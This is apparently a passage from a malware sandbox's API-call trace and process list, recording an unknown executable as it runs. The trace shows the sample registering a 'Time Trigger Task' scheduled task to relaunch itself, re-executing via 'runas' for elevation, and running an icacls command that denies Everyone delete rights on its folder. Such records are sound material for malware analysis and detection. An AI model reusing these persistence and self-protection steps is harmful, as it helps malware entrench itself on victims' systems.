lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0041.853] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x46) returned 0x319de78 [0041.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x319de78, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", lpUsedDefaultChar=0x0) returned 70 [0041.853] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x2f5b088) returned 0x94 [0041.853] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x2f5b088, Size=0x98) returned 0x2f5b088 [0041.853] GetTimeZoneInformation (in: lpTimeZoneInformation=0x45d3e0 | out: lpTimeZoneInformation=0x45d3e0) returned 0x1 [0041.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Standard Time", cchWideChar=-1, lpMultiByteStr=0x45bd20, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18bb0c | out: lpMultiByteStr="AUS Eastern Standard Time", lpUsedDefaultChar=0x18bb0c) returned 26 [0041.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Daylight Time", cchWideChar=-1, lpMultiByteStr=0x45bd60, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18bb0c | out: lpMultiByteStr="AUS Eastern Daylight Time", lpUsedDefaultChar=0x18bb0c) returned 26 [0041.861] GetLastError () returned 0x0 [0041.861] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x24) returned 0x319bf88 [0041.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x452028, cbMultiByte=-1, lpWideCharStr=0x319bf88, cchWideChar=18 | out: lpWideCharStr="%Y-%m-%dT%H:%M:%S") returned 18 [0041.861] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0xa0) returned 0x2ff7d40 [0041.861] GetLastError () returned 0x0 [0041.861] ITrigger:put_StartBoundary (This=0x2780e38, StartBoundary="2019-07-14T01:57:48") returned 0x0 [0041.861] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x3043958 | out: hHeap=0x280000) returned 1 [0041.861] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x303d560 | out: hHeap=0x280000) returned 1 [0041.861] IUnknown:Release (This=0x2780e38) returned 0x1 [0041.861] ITaskDefinition:get_Actions (in: This=0x2780b88, ppActions=0x18c0d8 | out: ppActions=0x18c0d8*=0x2780c00) returned 0x0 [0041.861] IActionCollection:Create (in: This=0x2780c00, Type=0, ppAction=0x18c0c4 | out: ppAction=0x18c0c4*=0x2780ec0) returned 0x0 [0041.862] IUnknown:Release (This=0x2780c00) returned 0x1 [0041.862] IUnknown:QueryInterface (in: This=0x2780ec0, riid=0x45007c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x18c0e0 | out: ppvObject=0x18c0e0*=0x2780ec0) returned 0x0 [0041.862] IUnknown:Release (This=0x2780ec0) returned 0x2 [0041.862] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0xc) returned 0x3043958 [0041.862] IExecAction:put_Path (This=0x2780ec0, Path="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe") returned 0x0 [0041.862] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x3043958 | out: hHeap=0x280000) returned 1 [0041.862] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0xc) returned 0x3043958 [0041.862] IExecAction:put_Arguments (This=0x2780ec0, Arguments="--Task") returned 0x0 [0041.862] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x3043958 | out: hHeap=0x280000) returned 1 [0041.862] IUnknown:Release (This=0x2780ec0) returned 0x1 [0041.862] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0xc) returned 0x3043958 [0041.862] ITaskFolder:RegisterTaskDefinition (in: This=0x70ff98, Path="Time Trigger Task", pDefinition=0x2780b88, flags=6, UserId=0x18bb80*(varType=0x0, wReserved1=0x304, wReserved2=0xc094, wReserved3=0x18, varVal1=0x41720b, varVal2=0x280000), password=0x18bb90*(varType=0x0, wReserved1=0x0, wReserved2=0x130, wReserved3=0x0, varVal1=0x97, varVal2=0x7), LogonType=3, sddl=0x18bba4*(varType=0x8, wReserved1=0x0, wReserved2=0x3, wReserved3=0x0, varVal1="", varVal2=0x138), ppTask=0x18c0ac | out: ppTask=0x18c0ac*=0x2780f30) returned 0x0 [0041.976] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x3043958 | out: hHeap=0x280000) returned 1 [0041.976] TaskScheduler:IUnknown:Release (This=0x70ff98) returned 0x0 [0041.976] TaskScheduler:IUnknown:Release (This=0x2780b88) returned 0x0 [0041.976] IUnknown:Release (This=0x2780f30) returned 0x0 [0041.976] CoUninitialize () [0041.977] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x3015138 | out: hHeap=0x280000) returned 1 [0041.977] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x366bf8 | out: hHeap=0x280000) returned 1 [0041.977] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x30204f8 | out: hHeap=0x280000) returned 1 [0041.977] GetVersion () returned 0x1db10106 [0041.977] lstrcpyW (in: lpString1=0x18c618, lpString2="--Admin" | out: lpString1="--Admin") returned="--Admin" [0041.977] lstrcatW (in: lpString1="--Admin", lpString2=" IsNotAutoStart" | out: lpString1="--Admin IsNotAutoStart") returned="--Admin IsNotAutoStart" [0041.977] lstrcatW (in: lpString1="--Admin IsNotAutoStart", lpString2=" IsNotTask" | out: lpString1="--Admin IsNotAutoStart IsNotTask") returned="--Admin IsNotAutoStart IsNotTask" [0041.977] ShellExecuteExW (in: pExecInfo=0x18c2d4*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe", lpParameters="--Admin IsNotAutoStart IsNotTask", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nShow=5, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x18c2d4*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe", lpParameters="--Admin IsNotAutoStart IsNotTask", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nShow=5, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0042.075] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x301e2c8 | out: hHeap=0x280000) returned 1 [0042.075] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x3009260 | out: hHeap=0x280000) returned 1 [0042.075] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x3044190 | out: hHeap=0x280000) returned 1 [0042.076] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x359ec8 | out: hHeap=0x280000) returned 1 [0042.076] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x32b280 | out: hHeap=0x280000) returned 1 [0042.076] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x3044998 | out: hHeap=0x280000) returned 1 [0042.076] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x304fec8 | out: hHeap=0x280000) returned 1 [0042.076] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x32dd68 | out: hHeap=0x280000) returned 1 [0042.077] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x32d560 | out: hHeap=0x280000) returned 1 [0042.077] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18d5b8 | out: phModule=0x18d5b8) returned 0 [0042.077] ExitProcess (uExitCode=0x0) [0042.080] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x319bd48 | out: hHeap=0x280000) returned 1 [0042.080] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x32be78 | out: hHeap=0x280000) returned 1 [0042.087] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 2 os_tid = 0x9d8 Thread: id = 3 os_tid = 0x9dc Thread: id = 4 os_tid = 0x9e0 Thread: id = 5 os_tid = 0x9e4 Thread: id = 6 os_tid = 0x9e8 Thread: id = 7 os_tid = 0x9ec Thread: id = 21 os_tid = 0x9fc Thread: id = 22 os_tid = 0xa00 Thread: id = 23 os_tid = 0xa0c Thread: id = 34 os_tid = 0xaa4 Process: id = "2" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x15f04000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x9d0" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dc17" [0xc000000f], "LOCAL" [0x7] Thread: id = 8 os_tid = 0x76c Thread: id = 9 os_tid = 0x758 Thread: id = 10 os_tid = 0x74c Thread: id = 11 os_tid = 0x72c Thread: id = 12 os_tid = 0x71c Thread: id = 13 os_tid = 0x718 Thread: id = 14 os_tid = 0x638 Thread: id = 15 os_tid = 0x154 Thread: id = 16 os_tid = 0x150 Thread: id = 17 os_tid = 0x128 Thread: id = 18 os_tid = 0x12c Thread: id = 19 os_tid = 0x120 Thread: id = 20 os_tid = 0x3fc Thread: id = 24 os_tid = 0xa78 Thread: id = 132 os_tid = 0x8c8 Thread: id = 181 os_tid = 0x5b4 Process: id = "3" image_name = "icacls.exe" filename = "c:\\windows\\syswow64\\icacls.exe" page_root = "0x4d01f000" os_pid = "0xa98" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x9d0" cmd_line = "icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 25 os_tid = 0xa9c Thread: id = 26 os_tid = 0xaa0 Process: id = "4" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x5e7f000" os_pid = "0x50c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "created_scheduled_job" parent_id = "1" os_parent_pid = "0x9d0" cmd_line = "taskeng.exe {0E3013FB-5D32-4499-A940-035C87CD1A3B} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\\5p5NrGJn0jS HALPmcxz:Interactive:Highest[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 27 os_tid = 0xa90 Thread: id = 28 os_tid = 0x8e0 Thread: id = 29 os_tid = 0x578 Thread: id = 30 os_tid = 0x574 Thread: id = 31 os_tid = 0x520 Thread: id = 32 os_tid = 0x514 Thread: id = 33 os_tid = 0x510 Process: id = "5" image_name = "cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe" page_root = "0x4d6e7000" os_pid = "0xaa8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x9d0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" --Admin IsNotAutoStart IsNotTask" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 35 os_tid = 0xaac [0042.218] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xa60ec050, dwHighDateTime=0x1d53993)) [0042.218] GetCurrentProcessId () returned 0xaa8 [0042.218] GetCurrentThreadId () returned 0xaac [0042.218] GetTickCount () returned 0x198d5 [0042.218] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=16250583617) returned 1 [0042.243] GetStartupInfoW (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x18ff84, hStdError=0x467e9e)) [0042.243] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0042.243] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x1f20000 [0042.244] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0042.244] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0042.244] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0042.244] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0042.244] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0042.245] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x214) returned 0x1f207d0 [0042.245] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0042.245] GetCurrentThreadId () returned 0xaac [0042.245] GetStartupInfoW (in: lpStartupInfo=0x18febc | out: lpStartupInfo=0x18febc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x460f90, hStdOutput=0x461343, hStdError=0x1f207d0)) [0042.246] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x800) returned 0x1f209f0 [0042.246] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0042.246] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0042.246] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0042.246] SetHandleCount (uNumber=0x20) returned 0x20 [0042.246] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" --Admin IsNotAutoStart IsNotTask" [0042.246] GetEnvironmentStringsW () returned 0x6e1ed0* [0042.246] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x0, Size=0xaca) returned 0x1f211f8 [0042.246] FreeEnvironmentStringsW (penv=0x6e1ed0) returned 1 [0042.246] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5309b8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe")) returned 0x6a [0042.246] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x0, Size=0x12c) returned 0x1f21cd0 [0042.246] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x98) returned 0x1f21e08 [0042.246] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x3e) returned 0x1f21ea8 [0042.246] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x6c) returned 0x1f21ef0 [0042.246] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x6e) returned 0x1f21f68 [0042.246] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x78) returned 0x1f21fe8 [0042.246] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x62) returned 0x1f22068 [0042.246] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x2e) returned 0x1f220d8 [0042.246] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x48) returned 0x1f22110 [0042.246] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x28) returned 0x1f22160 [0042.246] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x1a) returned 0x1f22190 [0042.246] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x4a) returned 0x1f221b8 [0042.247] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x72) returned 0x1f22210 [0042.247] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x30) returned 0x1f22290 [0042.247] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x2e) returned 0x1f222c8 [0042.247] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x1c) returned 0x1f22300 [0042.247] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0xd2) returned 0x1f22328 [0042.247] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x7c) returned 0x1f22408 [0042.247] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x36) returned 0x1f22490 [0042.247] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x3a) returned 0x1f224d0 [0042.247] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x90) returned 0x1f22518 [0042.247] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x24) returned 0x1f225b0 [0042.247] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x30) returned 0x1f225e0 [0042.247] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x36) returned 0x1f22618 [0042.247] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x48) returned 0x1f22658 [0042.247] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x52) returned 0x1f226a8 [0042.247] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x3c) returned 0x1f22708 [0042.247] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x82) returned 0x1f22750 [0042.247] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x2e) returned 0x1f227e0 [0042.247] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x1e) returned 0x1f22818 [0042.247] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x2c) returned 0x1f22840 [0042.247] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x54) returned 0x1f22878 [0042.247] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x52) returned 0x1f228d8 [0042.247] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x2a) returned 0x1f22938 [0042.247] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x3c) returned 0x1f22970 [0042.247] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x54) returned 0x1f229b8 [0042.247] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x24) returned 0x1f22a18 [0042.247] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x30) returned 0x1f22a48 [0042.247] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x8c) returned 0x1f22a80 [0042.247] HeapFree (in: hHeap=0x1f20000, dwFlags=0x0, lpMem=0x1f211f8 | out: hHeap=0x1f20000) returned 1 [0042.248] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x80) returned 0x1f22b18 [0042.248] GetLastError () returned 0x0 [0042.248] SetLastError (dwErrCode=0x0) [0042.248] GetLastError () returned 0x0 [0042.248] SetLastError (dwErrCode=0x0) [0042.248] GetLastError () returned 0x0 [0042.248] SetLastError (dwErrCode=0x0) [0042.248] GetACP () returned 0x4e4 [0042.248] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x0, Size=0x220) returned 0x1f22ba0 [0042.248] GetLastError () returned 0x0 [0042.248] SetLastError (dwErrCode=0x0) [0042.248] IsValidCodePage (CodePage=0x4e4) returned 1 [0042.248] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0042.248] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0042.248] GetLastError () returned 0x0 [0042.248] SetLastError (dwErrCode=0x0) [0042.248] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0042.248] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0042.248] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0042.248] GetLastError () returned 0x0 [0042.248] SetLastError (dwErrCode=0x0) [0042.248] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0042.248] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ侩怤賴FĀ") returned 256 [0042.248] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ侩怤賴FĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: 